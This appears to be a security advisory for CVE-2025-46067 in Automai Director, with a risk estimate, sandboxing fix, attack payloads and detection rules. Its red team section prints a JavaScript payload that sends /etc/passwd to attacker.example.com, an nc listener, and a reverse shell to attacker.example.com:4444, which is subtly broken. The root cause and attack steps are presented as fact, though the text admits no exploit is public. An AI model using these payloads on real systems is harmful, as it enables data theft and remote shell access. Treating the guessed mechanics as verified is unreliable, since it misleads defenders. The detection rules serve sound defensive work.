CVE-2025-46067

Executive Summary

CVE-2025-46067 is a critical security advisory affecting Automai Director v.25.2.0. The vulnerability allows a remote attacker to escalate privileges and obtain sensitive information by crafting a malicious JavaScript file. The root cause is improper input validation and insufficient sandboxing of user-supplied JavaScript within the Director application, leading to arbitrary code execution in the context of the application server.

Key Risk: Remote, unauthenticated attackers can achieve privilege escalation and exfiltrate sensitive data (e.g., credentials, configuration files, database contents). No public exploit code or proof-of-concept is currently available, but the attack vector is straightforward.

Affected Ecosystem: This is a standalone enterprise application (Automai Director), not a WordPress plugin or component. The vulnerability is in the application’s own JavaScript processing engine.

Supply Chain & Package Security

Automai Director is a proprietary enterprise application. No open-source package (NPM, PyPI, Go, Ruby) is directly affected. However, the vulnerability may be introduced via third-party JavaScript libraries bundled with the application. Organizations should audit all JavaScript dependencies used by Director.

CVSS Breakdown & Threat Level

The NVD has not assigned a CVSS score. Based on the description and attack vector, a reasonable estimate is:

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Critical)
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is remotely exploitable without authentication and can lead to full system compromise.

Deep Dive & Mechanics

The vulnerability resides in the Automai Director’s JavaScript processing module. The application accepts user-supplied JavaScript files (e.g., for automation scripts or configuration). Due to insufficient input validation and lack of sandboxing, an attacker can craft a .js file that:

1. Escalates Privileges: By overriding internal functions or accessing privileged APIs, the attacker can execute commands with elevated permissions.
2. Exfiltrates Sensitive Information: The malicious script can read local files, environment variables, or database connections and send them to an external server.

Attack Flow:

1. Attacker crafts a malicious JavaScript file containing code to read /etc/passwd, environment variables, or database config files.
2. Attacker uploads or injects the file into the Director application (e.g., via a file upload endpoint or by manipulating a configuration parameter).
3. The Director application executes the script without proper sandboxing.
4. The script exfiltrates data to an attacker-controlled server (e.g., via HTTP POST or DNS tunneling).

Root Cause: The application uses eval() or new Function() to execute user-supplied JavaScript without restricting access to Node.js or browser APIs.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Automai Director - vulnerable script execution
function executeUserScript(scriptContent) {
    // No sandboxing - directly evaluates user input
    eval(scriptContent);
}

Patched Code (Conceptual):

// Patched version - uses sandboxed execution
const vm = require('vm');

function executeUserScript(scriptContent) {
    const sandbox = {
        console: console,
        // Only expose safe APIs
        setTimeout: setTimeout,
        // No access to fs, net, process, etc.
    };
    vm.createContext(sandbox);
    vm.runInContext(scriptContent, sandbox, { timeout: 1000 });
}

Key Differences:

• Vulnerable code uses eval() which has full access to the runtime environment.
• Patched code uses vm.runInContext() with a restricted sandbox, limiting access to dangerous APIs.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Automai Director v.25.2.0 running on a target server.
• Access to a file upload or configuration endpoint that accepts JavaScript files.

Exploit Payload (malicious.js):

// Malicious script to exfiltrate /etc/passwd
const fs = require('fs');
const http = require('http');

const data = fs.readFileSync('/etc/passwd', 'utf8');
const options = {
    hostname: 'attacker.example.com',
    port: 80,
    path: '/exfil',
    method: 'POST',
    headers: {
        'Content-Type': 'text/plain',
        'Content-Length': data.length
    }
};

const req = http.request(options);
req.write(data);
req.end();

Steps:

1. Upload malicious.js via the Director web interface or API.
2. Trigger execution (e.g., by navigating to a page that runs the script).
3. Receive exfiltrated data on your listener: nc -lvnp 80.

Alternative Payload (Reverse Shell):

// Reverse shell using child_process
const cp = require('child_process');
const net = require('net');

const client = new net.Socket();
client.connect(4444, 'attacker.example.com', () => {
    client.write('Connected\n');
    client.pipe(cp.spawn('/bin/sh', []).stdin);
    cp.spawn('/bin/sh', []).stdout.pipe(client);
    cp.spawn('/bin/sh', []).stderr.pipe(client);
});

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unexpected JavaScript file uploads to the Director application.
2. Look for outbound connections from the Director server to unknown IPs/domains.
3. Check for unusual child processes spawned by the Director process (e.g., sh, bash, curl).

Hunting Query (Splunk):

index=windows OR index=linux sourcetype=WinEventLog:Security OR sourcetype=syslog
| search "Automai Director" OR "Director.exe"
| rex field=_raw "Executing script: (?<script_path>[^\s]+)"
| search script_path=*.js
| stats count by script_path, host

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_46067_Automai_Director_Exploit {
    meta:
        description = "Detects malicious JavaScript files targeting CVE-2025-46067"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-46067"
    strings:
        $s1 = "require('fs')" ascii wide nocase
        $s2 = "require('http')" ascii wide nocase
        $s3 = "require('child_process')" ascii wide nocase
        $s4 = "require('net')" ascii wide nocase
        $s5 = "readFileSync" ascii wide nocase
        $s6 = "spawn" ascii wide nocase
        $s7 = "connect" ascii wide nocase
        $s8 = "exfil" ascii wide nocase
    condition:
        (any of ($s1, $s2, $s3, $s4) and any of ($s5, $s6, $s7, $s8))
}

Sigma Rule

title: CVE-2025-46067 - Automai Director Malicious Script Execution
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects execution of suspicious JavaScript files by Automai Director
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\Director.exe'
        CommandLine|contains: '.js'
    filter:
        CommandLine|contains:
            - 'legitimate_script.js'
            - 'config.js'
    condition: selection and not filter
falsepositives:
    - Legitimate script execution by administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-46067 - Automai Director Data Exfiltration";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/exfil"; http_uri;
    content:"Content-Type|3a 20|text/plain";
    pcre:"/^Content-Length:\s+\d+/m";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Automai Director server from untrusted networks.
2. Disable JavaScript file upload functionality if not required.
3. Apply strict input validation and sandboxing (see patched code example).
4. Monitor for suspicious outbound connections and file modifications.

Long-Term Fix:

• Vendor must release a patch that replaces eval() with sandboxed execution (e.g., using vm module in Node.js).
• Implement file integrity monitoring for JavaScript files.
• Conduct a full security audit of the application.

Workaround:

• Use a reverse proxy (e.g., Nginx) to block uploads of .js files to the Director application.
• Restrict execution permissions on the Director server using AppArmor or SELinux.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert